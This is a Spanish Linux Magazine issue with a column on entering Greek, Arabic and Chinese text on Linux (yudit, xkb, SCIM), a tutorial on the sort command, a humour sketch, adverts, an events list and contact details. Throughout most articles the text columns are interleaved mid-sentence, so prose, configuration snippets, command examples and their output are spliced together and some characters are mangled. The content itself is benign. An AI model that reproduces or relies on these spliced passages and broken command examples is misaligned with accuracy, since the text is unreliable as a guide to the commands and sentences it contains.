Número 05
87
LINUX USER • Educación
¿Qué nos aporta? La posibilidad (ver figura 1) de alternar hasta tres tipos de teclados de escrituras diferentes (por defecto latina, griega politónica y cirílica). Como estamos ayudando a un profesor de griego pondremos en el cuadro 1 una chuleta sobre la forma de introducir los caracteres griegos, y escribiremos un ejemplo probatorio, la figura 2. Interesante, pero limitado: ni sólo se escribe en OpenOffice (aunque cueste creerlo) ni los únicos alfabetos no latinos son el griego y el cirílico. Y nos obliga a abandonar los paquetes estándar y Stallman nos puede retirar el saludo… necesitamos una solución más general.
¿Cómo se escribe en árabe? Pues seleccionando un mapa de teclado árabe, como Arabic.kmap. Sirva la figuras 3 como ejemplo y prueba. Quiero terminar el tratamiento de yudit mostrando la posibilidad de escribir a mano alzada caracteres CJK (figura 4). Y la salida impresa de los documentos escritos con yudit es perfecta, lo que no siempre ocurre. Pero, por muy bueno que sea yudit, no puede bastarnos: necesitamos poder escribir caracteres unicode en todos los programas, en los formularios del navegador, en las bases de datos… ¿Qué hacemos?
Los planos de un teclado
Yo me lo guiso, yo me lo como: yudit
La relación humeana entre la pulsación de una tecla que tiene pintada la La siguiente solución que analizareletra «a» y que en la pantalla del monimos la proporciona el editor de textos tor se dibuje un conjunto de pixeles unicode (no procesador de textos) que reconozco como la misma letra yudit, del húngaro Gáspár Sinai. yudit dista de ser simple; cuando pulsamos es el programa clásico que tuvo que una tecla estamos produciendo una solucionar por su cuenta todos los proseñal eléctrica en crudo que es converblemas a los que se enfrentaba: cómo tida por el sistema operativo a un escribir unicode, cómo imprimir textos número, el código de tecla o scan-code, en unicode. Y los solucionó bien. La que de forma configurable es traducida configuración permite integrar multitud a un símbolo (el keysym). Este camino de tipos de letra específicos que debereque hemos iniciado nos lleva demamos ir instalando. Como siado lejos, y sólo vamos método de entrada, que a señalarlo para el lector debía bastar para el limicurioso; la figura 5 cómo tado teclado americano, puede configurarse. ideó métodos de mapeo Quien quiera saber más de teclado para casi puede leer con provecho Figura 1: El menú de Thessacualquier alfabeto. el manual de xkeycaps. lonika. Podemos consultar en A donde queríamos lle/usr/share/yudit/src/ los mapas; en gar con cuidado de no perdernos es a nuestro caso estudiaremos GreekPolyseñalar que hace años que es posible tonic.kmap. Unas cuantas líneas basconfigurar con todo detalle el comportarán tamiento del teclado. Se ha reconocido que era un problema que debía ser resuelto de forma estándar y coherente y ";a=0x03AC", // GREEK SMALLU ya estamos en codiciones de comprender LETTER ALPHA WITH TONOS porqué la configuración puede realizarse en distintas capas: varios agentes han que significa que un punto y como trabajado en la solución, en distintos seguido de una «a» produce el carácter planos superpuestos; a muy bajo nivel, «a00». Como el recortar y pegar funciona con la extensión xkb al protocolo X; en perfectamente entre yudit y gedit no es las capas de los entornos de escritorio, necesario mostrar capturas sino que con la estandarización promovida por podemos integrar la salida en nuestro Gnome o KDE; o al nivel de las aplicatexto. Sigamos ciones como habíamos visto. Retomemos el hilo, queríamos ver ">a=0x1F00", // GREEK SMALLU cómo se configura el teclado y si LETTER ALPHA WITH PSILI = «a0» podíamos alternar mapas de teclado para "<a=0x1F01", // GREEK SMALLU poder escribir consecutivamente en LETTER ALPHA WITH DASIA = «a/» 0
88
Número 05
WWW.LINUX- MAGAZINE.ES
Figura 2: Thessalonika en pleno uso.
castellano y griego. No queremos una solución esporádica (sé por ensayo y error que la combinación de las teclas Alt-Gr y z produce el signo tipográfico “ «” —también podía haberlo mirado en /etc/X11/xkb/symbols/es—, pero sé también que las combinaciones de teclas que puedo hacer y puedo recordar son limitadas) ni para una sola aplicación (sería absurdo escribir con yudit y estar pegando al resto de las aplicaciones), sino una solución que valga para todos los programas. ¿Existe? Sí. Y la tenemos delante de nuestras narices desde el principio. Cualquiera que haya buceado en GNU Linux deberá haberse familiarizado con
Tabla 1:Asignaciones de teclas Tecla [a] [n] [b] [x] [g] [o] [d] [p] [e] [r] [z] [c] [s] [h] [t] [j] [u] [i] [f] [k] [q] [l] [y] [m] [w]
Letra conseguida a n b x g o d p e r z c s h t j u i f k q i y m w
La asignación de acentos y signos de puntuación es como se ve en la Tabla 2
Educación • LINUX USER
el fichero de configuración de las X, /etc/X11/XF86Config-4. Una de sus secciones está dedicada expresamente a configurar la extensión xkb, veamos qué dice en este ordenador: Section "InputDevice" Identifier "Generic Keyboard" Driver "keyboard" Option "CoreKeyboard" Option "XkbRules" "xfree86" Option "XkbModel" "pc105" Option "XkbLayout" "es,us" Option "XKbOptions"U "grp:alt_shift_toggle" EndSection
¿Qué tiene de llamativo el fragmento anterior? Que la combinación de las teclas Alt y mayúscula me permite alternar cíclicamente mi mapa de teclado español y un teclado estadounidense. En /etc/X11/xkb/README.config, de muy interesante lectura, nos informan de que es posible alternar hasta cuatro mapas de teclado. ¿Funciona esta solución? Vamos a comprobarlo pulsando las teclas que tienen impresa la letra «ñ» y el signo de menor que, «<», y permutando los teclados. Con el mapa español la salida es « ñ < » como podíamos esperar; con el norteamericano es « ; < ». Pero si pulso la combinación otra vez no me devuelve al español, sino que obtengo « ‘ « ». ¿Qué está pasando aquí? Hay una forma de averiguarlo. $ xprop -root | grep XKB _XKB_RULES_NAMES_BACKUP(STRING)=U "xfree86", "pc105", "es,us",U ",", "grp:alt_shift_toggle" _XKB_RULES_NAMES(STRING) =U "xfree86", "pc105","es,us,el",U ",,polytonic",U "altwin:menu,compose:rwin,U grp:alt_shift_toggle,lv3:lwin_switc"
Un nuevo agente inesperado interviene en el proceso. El applet «Indicador del teclado» de Gnome tiene un nombre engañoso; no es sólo indicativo sino que intercepta en memoria y sin modificar el fichero de configuración XF86Config-4 las llamadas a xkb y nos permite, en un entorno Gnome y para el entorno Gnome[1], definir de forma gráfica nuevas opciones y nuevos mapas (figura 6). Si un mapa de teclado
Figura 3: Árabe en yudit.
Figura 4: Yudit permite escribir a mano.
está disponible no hay más que seleccionarlo y ya podremos escribir con esa escritura. ¿Podemos generalizar esta solución al resto de los entornos? No, a menos que incorporemos la información de la salida anterior a la configuración de las X. Ahora estamos en condiciones de comprender lo que estaba ocurriendo: teníamos una tercera opción de teclado, el griego politónico (conste que ya lo sabía, para eso lo había configurado yo). eu)reka!¡Ya podemos escribir en griego! Pero hemos dicho politónico. Ah, puede que no sea tan sencillo: implica que funcione la composición de símbolos mediante el uso de las teclas muertas (o mudas, como nuestros acentos, que es necesario pulsarlos dos veces para que aparezcan solos). Y esta composición está vinculada al locale con el que estemos trabajando. En un muy interesante hilo en la lista de correo linux-utf8 (Locale for typing ancient Greek, iniciado el 19 de febrero de 2005) Pablo Saratxaga nos da información muy pertinente: «Si usamos LC_ALL=el_GR.UTF-8 podremos introducir con las teclas muertas todo el griego politónico, pero probablemente sólo un conjunto limitado de los acentos latinos. En cambio con LC_ALL=en_US.UTF-8 podremos teclear gran cantidad de distintos acen-
tos latinos, pero únicamente griego monotónico. Y con LC_ALL=ja_JP.UTF-8 no será posible usar ninguna tecla muerta.» Es cuestión de probar: solo consigo a(.
Figura 5: Configuración de la tecla «a» en xkeycaps.
WWW.LINUX- MAGAZINE.ES
De entrada sopa de letras
a6aa 8 . Bonito, ¿eh? ¿Cómo lo he hecho? Cambiando de enfoque. El applet de teclado de Gnome o los distintos mapas de xkb son soluciones limitadas. ¿Cómo introducir los miles de caracteres del chino? No necesitamos ni queremos estar cambiando de teclado continuamente, necesitamos un teclado que nos permita introducir de alguna manera todos los caracteres. ¿Existe esta solución? Como el lector ya sabe que mis preguntas son retóricas esperará una respuesta afirmativa; sí, los métodos de entrada (abreviados con IM, de Input Methods) se han creado para solucionar nuestro problema. Son mecanismos que permiten introducir caracteres de más de ocho bits (como los del chino) y realizar transliteraciones (introducir la representación fonética de una palabra y que el sis-
Tabla 2:Asignaciones de acentos y signos Tecla < > ‘ (apóstrofo) ` (pulsar dos veces) ~ (AltGr+ñ) “ | (AltGr+1) ? ;
Acento o signo espíritu áspero espíritu suave acento agudo acento grave acento circunflejo diéresis iota suscrita interrogación punto alto
Se puede teclear los acentos y los espíritus en cualquier orden antes de la vocal, pero la iota suscrita siempre tiene que ser tecleada después de la vocal con acentos.
Número 05
89
LINUX USER • Educación
90
Número 05
WWW.LINUX- MAGAZINE.ES
7.- Entorno de escritorio: actualmente uso Gnome. Gnome-terminal con pango funciona perfectamente con locales utf-8. 8.- Método de entrada. Para usuarios de gtk/gnome, SCIM. 9.- Para la enseñanza de la escritura de los caracteres chinos: hanzim. 10.- Instalar los archivos localizados: openoffice.org-help-zh-tw, kde-i18nzhtw, mozilla-locale-zh-tw…Y el resto de los añadidos habituales: fortune-zh, juegos localizados…
Y en el próximo número… ¿Qué tal hablar sobre las adaptaciones y aplicaciones destinadas a la atención a la diversidad y a los discapacitados de todo tipo? Éste, el de la accesibilidad, es un tema que se demanda mucho, por el que algunos se resisten a introducirse en el software libre y se desconocen las soluciones ■ libres existentes.
NOTAS [1]Gnome tiene su propio mecanismo de buceo (información obtenida en la lista de correo linux-utf8, hilo Thank God for Yudit, iniciado el 14 de febrero de 2005) $ gconftool-2 -R /desktop/gnome/U peripherals/keyboard/xkb layouts = U [es,us,el polytonic] model = pc105 overrideSettings =false options = [altwin altwin:menu,U compose compose:rwin,grpU grp:alt_shift_toggle,lv3U lv3:lwin_switch] update_handlers = [] [2]man presenta un problema; he leído que groff puede producir utf-8, pero no así troff. No he conseguido generar páginas de manual apropiadas, algo debo hacer mal.
EL AUTOR
tema la transforme en el carácter de la para que se seleccione el deseado. Por escritura). Hay varios IM disponibles; ejemplo al teclear la sílaba «ca» se me de hecho Gnome (más exactamente ofrecen tres caracteres de la fuente a GTK2) trae uno de serie, GTK+ IM. elegir. Otros son SCIM, UIM, IIMF… que Se nos quedan en el tintero muchos deberán ser instalados aparte. Toda una temas que no podemos tratar, al menos sopa de letras para introducir letras y en este momento: diccionarios, recursos una nueva abreviatura, m17n, para un para el aprendizaje de alfabetos o de nuevo esfuerzo, la «multilingualiidiomas… Pero es hora de pensar en zación» (sí, 19 letras). Por motivos que cerrar el artículo. no es el caso explicar utilizo gedit para De aquí a China escribir estos artículos. ¿Qué ocurre si pulso el botón derecho sobre el texto Tras este espero que ilustrativo paseo que escribo? Que nos encontramos por Grecia, Rusia y China debemos «Métodos de entrada» como una de las regresar al punto de partida, que será el opciones del menú emergente. Selecde llegada: ¿qué tenía que hacer el profecionando cirílico ya tenemos un teclado sor para que sus dos alumnas chinas se ruso. Pero el desafío sintieran en casa? está en el chino. Acabemos el artículo ¿Cómo podemos con una esquemática escribir caracteres receta en diez puntos chinos con nuestro 1.Crear dos teclado español? locales chinos, Cada IM da su zh_TW.BIG5 y respuesta; elegimos zh_TW.UTF-8 SCIM (los siguientes (perdón por las paquetes funcionan implicaciones polítisin problemas: scimFigura 6: Configurando xkb con el cas posibles pero las gtk2-immodule, Indicador del teclado. niñas tienen que ser scim-uim, scim-chide algún sitio connese, scim-m17n, uim-gtk2.0; yo instacreto y elijo Taiwán). Es preferible el laría también m17n-env pero no es uso de utf-8; de ese modo las herranecesario), más los añadidos UIM para mientas de entrada permiten escribir SCIM y sus extensiones para que se otros alfabetos y es un requisito del IM acople con Gnome (añade a las preferido, pero aun un amplio conjunto opciones del botón derecho el método de aplicaciones que sólo funcionan con de entrada SCIM). Una vez instalado y los locales tradicionales. seleccionado SCIM como método de 2.- Reconfigurar localepurge, para que entrada para las aplicaciones GTK, se no borre los ficheros de estos nuevos llama con la combinación de teclas locales. Ctl-Espacio. ¿Funciona? La figura 7 es el 3.- Instalar tipos de letra apropiados; resultado del juego de mi hija de diez sugiero el uso de tipos vectoriales años escribiendo las letras de su nom(Type1 or TrueType) ricos en caracteres bre (por supuesto he eliminado los unicode: bitstream-vera, arphic; Bitcaracteres fácilmente stream Cyberbit es el reconocibles; dejo mejor tipo unicode como ejercicio para el semilibre, y Code2000 lector averiguar cómo es shareware. Recuerde se llama la niña). que para tipos instala¿Cómo se escribe en dos localmente es necechino? Utilizaré UIMsario refrescar la cache m17-zh-py. El proceso con fc-cache. combina la transli4.- Un conversor de teración y las sugerencodificaciones: zh-autocias: el escritor teclea el convert. sonido del carácter y el 5.- Ficheros de ayuda: sistema sugiere los vamanpages-zh.[2] rios símbolos que 6.Diccionarios: Figura 7: Ejemplo de uso de pueden tener esa fonía pydict. SCIM.
Juan Rafael Fernández García es profesor de educación secundaria y tiene una larga experiencia en la traducción y documentación del software libre. Ha sido coordinador de uno de los Centros que participan en la experiencia andaluza de integrar las TIC en la educación y actualmente trabaja como asesor de formación del profesorado.
Línea de comandos • LINUX USER
Organización de listados con el comando sort
LIMPIO Y ORDENADO
sort le ayuda a organizar los listados de ficheros y la salida de los programas. Y si quiere, puede usar esta pequeña, pero potente herramienta para mezclar y clasificar múltiples ficheros. POR HEIKE JURZIK
Post AG
E
l comando sort le permite organizar las entradas línea a línea. Este comando puede procesar un fichero específico o leerlo desde la entrada estándar. Decida el criterio de organización que decida, sort tiene parámetros que le dan un control total.
Ejercicios Sencillos Ordenación
de
/etc/passwd es un fichero excelente para empezar a experimentar con sort. Si observa el fichero, verá que las líneas contienen un número de campos, por ejemplo: chicken:x:506:100:U Heike Jurzik:/home/chicken:U /bin/bash
Los campos individuales están separados por dos puntos e incluyen el nombre de
usuario (chicken), la contraseña (x significa que la contraseña está en /etc/ shadow), el Número de Identificación de Usuario o UID (para usuarios “normales”, esto es un número superior a 100), el Número de Identificación de Grupo (GID), información adicional (nombre y número de teléfono del usuario, etc.), el directorio home del usuario y la shell estándar. Para comprobar si el fichero está ordenado puede ejecutar sort con la etiqueta -c: $ sort -c /etc/passwd sort: /etc/passwd:2: unsorted:U bin:x:1:1:bin:/bin:/bin/bash
La salida le dice que el fichero está desordenado y que la primera entrada desordenada está en la línea dos. Para ordenar su fichero de claves, ejecute sort
WWW.LINUX- MAGAZINE.ES
(sin especificar ningún parámetro al principio). No olvide redireccionar la salida porque si no será enviada a su pantalla. Puede utilizar el operador > para redireccionar la salida a un fichero: sort /etc/passwd > passwd_sort
El carácter “mayor que” sobrescribirá el contenido en passwd_sort si el fichero existe. Puede impedir que esto ocurra utilizando el operador >>, el cual concatena la salida al final del fichero. Como se muestra en la salida de nuestro primer experimento de ordenación (ver Figura 1), sort ha ordenado el fichero alfabéticamente (utilizando el primer campo -el nombre de usuario- como índice). Esto coloca al “pseudo-usuario” at al principio de la lista. La opción -r invierte el orden y coloca wwwrun al principio de
Número 05
91
LINUX USER • Línea de comandos
carácter separador vamos a usar. Dicho de otro modo, necesitamos utilizar el “separador” -t. Asegúrese que escapa el carácter separador con comillas dobles para impedir que Bash lo interprete. El siguiente comando ordenará su fichero /etc/passwd: sort -t ":" -nk 3 /etc/passwd
Restricciones Se puede restringir las columnas que sort inspecciona incluso aquellas que no están dentro del área específica a ordenar. Veamos otro ejemplo. Vamos a ordenar un fichero llamado sortfile con el siguiente contenido:
la lista. Si está ordenando un fichero que contiene entradas duplicadas, puede suprimir la salida de una línea repetida utilizando el parámetro -u (el “único”).
Columnas A menos que no lo diga, sort mirará la línea completa y empezará con la primera letra, exactamente como en nuestro primer ejemplo. Pero puede utilizar unos cuantos trucos para colocar el comando en la posición desde donde queramos comenzar a ordenar. Por defecto, sort mirará los espacios entre las entradas e interpretará estos espacios como columnas delimitadoras. Considérese un fichero de claves ficticio con la siguiente estructura: ... peggy x 502 100 Peggy Goose U /home/peggy /bin/bash chicken x 506 100 Heike Jurzik U /home/chicken /bin/bash petronella x 507 100 U Petronella chicken U /home/petronella /bin/bash ...
Vamos a suponer que queremos ordenar esta lista basándonos en el UID (esto es, la tercera columna). Necesitaremos la opción -k y el número de columna como el valor:
92
Número 05
$ sort -k 3 /etc/passwd root x 0 0 root /root /bin/bash vdr x 100 33 Video Disk U Recorder U /var/spool/video /bin/false uucp x 10 14 Unix-to-Unix U CoPy system /etc/uucp /bin/bash ...
Desafortunadamente, sort interpreta los números como simples cadenas ASCII y los ordena alfabéticamente. Este comportamiento significa que “534” está antes que “55” en la lista, ya que, desde un punto de vista alfabético, “53” es más pequeño que “55”. En nuestro ejemplo, esto significa que el UID 100 está más alto en la lista que el UID 2. Para evitar que esto ocurra, necesitaremos especificar la opción -n, que ayuda a sort a ordenar las cifras correctamente: $ sort -nk 3 /etc/passwd root x 0 0 root /root /bin/bash bin x 1 1 bin /bin /bin/bash daemon x 2 2 Daemon /sbin U /bin/bash ...
Como el fichero de claves real utiliza dos puntos, no espacios en blanco, como caracteres separadores entre entradas, tenemos que hacerle saber a sort qué
WWW.LINUX- MAGAZINE.ES
1 2 3 4 5 6 7 8
Hens are loud. Geese are louder. Ducks are loud. Eggs are good. Wrens are lots of noise. Hens squawk loudly. Geese gobble louder. Ducks quack louder.
Nuestro primer comando ordenará el fichero empezando por la tercera columna y funcionará hasta el final del fichero. Es decir, si la tercera columna es idéntica (“are” es la tercera palabra en medio de estos ejemplos), sort inspecciona la cuarta columna , luego la quinta, etc. La opción que nos hace falta es -k 3: $ 4 5 3 1 2 7 8 6
sort -k 3 -k 2,2 sortfile Eggs are good. Wrens are lots of noise. Ducks are loud. Hens are loud. Geese are louder. Geese gobble louder. Ducks quack louder. Hens squawk loudly.
Línea de Comandos Aunque los GUIs (interfaces de usuario) como KDE o GNOME son útiles para muchas tareas, si se tiene la intención de dominar al máximo una máquina Linux, necesitaremos volver a utilizar la antigua línea de comandos de vez en cuando. Además de esto, probablemente nos enfrentaremos a varios escenarios donde algún conocimiento básico será muy útil al poder movernos por la jungla de los comandos de la shell.
Línea de comandos • LINUX USER
Pero, ¿qué es lo que sucede si la sar el comando le pueda parecer tercera columna y el resto de la algo confusa: línea son idénticas (que es el caso en las líneas 1 y 3)? En este caso, sort -t ":" -k 4n,4 -k U sort inspecciona el segundo campo 3nr,3 /etc/passwd (especificado por el segundo parámetro -k) y lo ordena alfabétiEste comando ordena /etc/passwd, camente, colocando “Ducks” más primero especificando que los camalto en la lista que “Hens”. En pos que estén separados por dos otras palabras, el argumento -k 3 puntos (-t ":") antes de seguir ordesignifica “la columna 3 y todas las nando numéricamente por el grupo columnas que siguen”, y -k 2,2 sigID (campo 4) y luego en orden nifica desde la columna 2 hasta la inverso por el usuario ID. 2 (en otras palabras, justo la Figura 1: “sort” le proporciona el fichero de claves ordeMezclador de Ficheros columna 2). nado alfabéticamente. Vamos a restringir la operación Puede decirle a sort que mezcle de ordenación a la columna 3 ahora: ignore todo desde la columna 4 hasta el dos ficheros ordenados previamente para final de la línea. Después de ordenar crear un fichero nuevo (y ordenado) más $ sort -k 3,3 -k 2,2 sortfile alfabéticamente las líneas (basada en la rápidamente que con el comando cat 3 Ducks are loud. palabra de la columna 3), sort analiza la file1 file2 | sort. Con tan sólo usar la 4 Eggs are good. columna 2 y sigue ordenándola. opción de mezcla, -m: 2 Geese are louder. Démonos cuenta de que la palabra 1 Hens are loud. “are” se repite a menudo en la columna sort -m file1 file2 > merged 5 Wrens are lots of 3, así las líneas están dispuestas en noise. orden alfabético basado en la palabra Otra vez puede especificar el parámetro 7 Geese gobble louder. de la columna 2; o sea, tenemos u para eliminar las entradas duplicadas. 8 Ducks quack louder. “ducks” antes que “geese”, “hens” y Cooperando con Otros 6 Hens squawk loudly. “wrens”. Comandos Si la columna contiene caracteres de El número que sigue a la coma, indica relleno que quiere que sort ignore, puede sort es excelente en combinación con el final del área de ordenación, en nuesespecificar donde la herramienta de otras herramientas de la línea de comantro caso, la columna número 3. Esto le ordenar tiene que obtener la columna. dos. Por ejemplo, para ordenar el condice a la herramienta de ordenar que Para empezar a ordenar en el carácter tenido de un directorio grande /boot liscuarto de la columna tercera, hay que tado por tamaño de fichero, simplemente añadir un punto y el carácter 4 al conecte la salida del comando ls al Listado 1: Ordenación un número de la columna: comando sort, como se muestra en el directorio por tamaño de Listado 1. ficheros. Otro uso común, que los admisort -k 3.4 nistradores deberían familiarizarse con 01 $ ls -l /boot/ | sort -k 5g él, es un enlace entre du y sort para idenEl siguiente comando ordena desde el 02 total 3792 tificar “directorios acaparadores”. Si cuarto carácter en la columna tercera al 03 l r w x r w x r w x 1 r o o t r o o t 1 sospecha que tiene un directorio que quinto carácter en la columna cuarta: 2003-11-18 16:53 boot -> ./ ocupa más de los debido en su directorio sort -k 3.4,4.5 04 lr w x r w x r wx 1 r o o t r o o t 23 home, puede teclear lo siguiente para Más Trucos de Ordenación 2003-11-18 17:07 initrd -> identificar al culpable: initrd-2.4.21-99-athlon sort tiene muchos parámetros adicionales que puede necesitar o no $ du -s /home/* | sort -rn 05 lr w x r w x r wx 1 r o o t r o o t 24 para su trabajo diario. La página de 6356156 /home/petronella 2003-11-18 16:57 vmlinuz -> ayuda tiene un resumen muy útil. La 47304 /home/peggy vmlinuz-2.4.21-99-athlon posibilidad de habilitar o no los 18864 /home/chicken 06 drwxr-xr-x 2 root root 1024 parámetros individualmente para ... 2003-11-18 16:53 grub/ campos individuales es una carac07 drwx------ 2 root root 12288 terística muy útil. Por ejemplo, no Como puede ver, el comando du utiliza 2003-11-18 16:47 lost+found/ necesita aplicar globalmente las el parámetro -s para mostrar el tamaño 08 -rw-r--r-- 1 root root 52224 opciones -r (para ordenar a la inversa) de cada directorio home; la salida del 2 0 0 3 - 0 9 - 2 4 1 5 : 3 2 y -n (para una salida numérica correccomando du entonces se concatena con config-2.4.21-99-athlon ta). Si es necesario, puede aplicar el comando sort y parece ser que estas opciones en campos indivipetronella está utilizando más espacio de 09 ... ■ duales… aunque esta forma de exprelo normal.
HUMOR
Si Quentin Tarantino acudiera a un congreso de Software Libre
Piezas E
scena: Interior Cafetería, Día: A, B, C, D, E, F se hallan alrededor de una mesa de formica entre dos sesiones maratonianas de diapositivas. La que acabó hacia diez minutos versaba sobre alta disponibilidad de servidores de bases de datos, la que empieza en cinco minutos aborda el desarrollo y explotación de servicios web bajo Zope. A, B, C y D toman café, F toma un “colacao” con tropezones de donut y E está desplomado encima de la mesa. A … pues se pronuncia “engú”, por que es una palabra africana… C Pero es un animal, y como su nombre en castellano es “ñu”, yo siempre lo he pronunciado así. D ¡Vaya chorrada! Siendo las siglas de “GNU is Not Unix” se debe pronunciar “ge-ene-u”. C ¡Has dicho “ñu”! D ¡No lo he hecho! He dicho “ge-ene-u”. C Si lo has hecho. Has dicho “Ñu is not Unix”. D [a A] ¿He dicho “ñu”?
94
Número 05
A Sip. B Ha dicho “gueñu”, no “ñu”. A Tú te callas, que corres BSD. B ¡Buf! A Pero he de insistir en “engú”. Una vez oí al mismísimo Stallman pronunciarlo así. C Pues Torvalds lo dice “chiñú”. D ¿De verás? Yo tengo un MP3 donde dice claramente “geñú”. A ¿MP3? B ¿“Jeñú”?
WWW.LINUX- MAGAZINE.ES
C Eso es lo de “Linux”, idiota. D ¡Qué no! Es otro. Y dice “geñú”. De verdad. A Perdona un momento. ¿Has dicho MP3? D Sí ¿qué pasa? C ¡Ay, ay!¡Qué ya sé adonde quieres llegar! A No, nada. Que como MP3 es un formato propietario… B ¡Ups! La cagaste. [Un chaval se les acerca desde otra mesa] Chaval Perdonad, pero yo también conozco a Stallman y el dice “guenúú”. A Pero ¿tú de donde sales? ¡“engú”, hombre “engú”! C ¡Qué no! ¡Que se dice “ñu”!¡”Ñu”! D ¡Geneu!¡Geneu! Chaval ¡Guenúú!¡Guenúú! E [Despertando de su trance] ¡Unga! ¡Unga! ¡Unga! F ¿A alguien más le ha dejado de interesar esta conversación? [Fundir a negro]
Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!
A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovará automáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no se requiere que hagas nada para seguir suscrito.
¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domicilio cada mes.
Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el precio de todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.
Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre. Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.
EVENTOS
I Escuela de Primavera
LinuxWorld Expo Canadá
aKademy 2005
Fecha: 28 Abril - 2 Mayo
Fecha: 18-20 Abril
Fecha: 27 Agosto - 4 Septiembre
Ciudad: Mollina, Málaga
Ciudad: Toronto, Canadá
Ciudad: Málaga, España
Sitio Web: www.cursosdeverano.org
Sitio Web: www.linuxworld canada.com
Sitio Web: http://dot.kde.org
Calendario de Eventos Evento tival Latinoamericano de Instalación de Software Libre LinuxWorld Conference & Expo, Canada MySQL Users Conference & Expo 2005
Fecha 2 de Abril 18-20 Abril 18-21 Abril
linux.conf.au 18-23 Abril 3rd International Linux Audio Conference 21-24 Abril I Escuela de Primavera 28 Abril - 2 Mayo Xtech 2005 24-27 Mayo LinuxWorld Italia 24-26 Mayo LinuxWorld Conference & Expo New York 25-26 Mayo GUADEC 2005 29-31 Mayo LinuxWorld Conference & Expo Tokyo 1-3 Junio LinuxTag 2005 22-25 Junio I Congreso de Tecnologías del Software Libre 7-8 Julio 2005 Linux Symposium 20-23 Julio Campus Party 2005 25-31 Julio Usenix Security Symposium 1-5 Agosto
Ciudad Venezuela, Argentina y Colombia Toronto, Canadá Santa Clara, CA, EE.UU. Canberra, Australia Karlsruhe, Alemania Mollina, Málaga Amsterdam, Holanda Milán, Italia Nueva York, EE.UU. Stuttgart, Alemania Tokyo, Japón Karlsruhe, Alemania A Coruña Ottawa, Canadá Valencia, España Baltimore, MD, EEUU
Sitio WebSolutions Linux 01-03 Fes http://ingenieria.ean.edu.co/~azul/ svnwiki.cgi/colibri/fisl www.linuxworldcanada.com www.mysql.com/news-and-events/usersconference conf.linux.org.au/ www.zkm.de:81/lac www.cursosdeverano.org www.xtech-conference.org www.linuxworldexpo.it www.linuxworldexpo.com http://2005.guadec.org www.idg.co.jp/expo/lw www.linuxtag.org http://congreso.gpul.org www.linuxsymposium.org http://web5.campus-party.org www.usenix.org
Información de Contacto Director Paul C. Brown Coolaboradores Paul C. Brown, Jose Manuel González Vida, Juan Rafael Fernández, Pedro Orantes, José María Ruíz Traductores Paqui Martín Vergara, Paul C. Brown, Jesús Reyes Delgado, Antonio Rueda. Maquetación Sergio Hardasmal Diseño de Portada Paul C. Brown, Pinball (info@pinball-werbeagentur.de) Publicidad www.linuxmagazine.com.es/pub/ Para España Paul C. Brown pbrown@linuxmagazine.com.es pbrown@linuxnewmedia.es Tel.: (+ 34) 951 010 556 Móvil.: (+ 34) 655 036 836 Fax.: (+ 34) 951 010 516 Sergio Hardasmal anuncios@linuxmagazine.com.es Tel.: (+ 34) 951 010 556 Para Alemania, Austria y Suiza Osmund Schmidt anzeigen@linux-magazine.com Tel.: (+49) 6335 9110 Fax.: (+49) 6335 7779
Para el Resto del Mundo Brian Osborn ads@linux-magazine.com Tel.: (+49) 6509 910 495 Fax.: (+49) 6509 910 497 Director Editorial Paul C. Brown Director de Producción Sergio Hardasmal anuncios@linux-magazine.com Subscripciones: www.linuxmagazine.com.es/ magazine/subs Precios Subscripción (12 números + 1 DVD cada 3 números) España: 49,50 € Europa: 59,90 € Resto del Mundo - Euros: 79,90 € Resto del Mundo - Dólares U.S.A.: $94,90 € Tel.: (+34) 951 010 556 Fax.: (+34) 951 010 516 subs@linuxmagazine.com.es Linux Magazine Linux New Media Spain, S.L. Avda. Juan López Peñalver, 21 29590 - Campanillas Málaga ESPAÑA info@linuxnewmedia.es Tel.: (+34) 951 010 556 Fax.: (+34) 951 010 516
WWW.LINUX- MAGAZINE.ES
www.linux-magazine.es - España www.linux-magazine.com - Mundo www.linux-magazine.de - Alemania Si bien se toman todas las medidas posibles para garantizar la precisión del contenido de los artículos publicados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en la revista. Asimismo, Linux Magazine no comparte necesariamente las opiniones vertidas por sus colaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupulosamente para confirmar que está libre de virus y errores. Copyright y Marcas Registradas © 2004 Linux New Media Spain, S.L. Linux New Media Spain S.L. prohíbe la reproducción total o parcial de los contenidos de Linux Magazine sin su permiso previo y por escrito. Linux es una Marca Registrada de Linus Torvalds. Impreso en Alemania Impresión: Dierichs Druck + Media GmBH Distribución: SGEL Depósito Legal: MA-116-2005 ISSN edición impresa: 1576-4079 ISSN edición online: 1699-2237
Número 05
97
PRÓXIMO NÚMERO
Junio 2005: Número 6
PROXIMO NUMERO MULTIMEDIA En el tema de portada del mes que viene abordamos el mundo de la multimedia bajo Linux, abarcando desde plugins de audio a producción de vídeo. Veremos como implementar un servidor de streaming con el Darwin Server y a crear DVDs multimedia a medida con Q-DVD-Author, un front-end gráfico para la utilidad dvdauthor. Otra área que exploraremos es el procesado de vídeo con Transcode y la creación de títulos con MainActor.
HOTPLUGGING El hotplugging permite utilizar dispositivos en el momento en que se enchufan. El kernel 2.6 extendió las capacidades de hotplugging de Linux y el mes que viene veremos como funciona el sistema de hotplugging y aprenderemos todo lo que hay que saber sobre la nueva capa de abstracción de hardware (HAL), udev, dbus y el proyecto Utopia.
MLDONKEY El cliente multi-red para la compartición de ficheros MLDonkey es un aplicación P2P que permite el acceso a redes Edonkey2000, FastTrack, BitTorrent y Gnutella. En el próximo número veremos como instalar, configurar y hacer funcionar MLDonkey, a la vez que echaremos un vistazo al front-end gráfico de MLDonkey para KDE, KMLDonkey
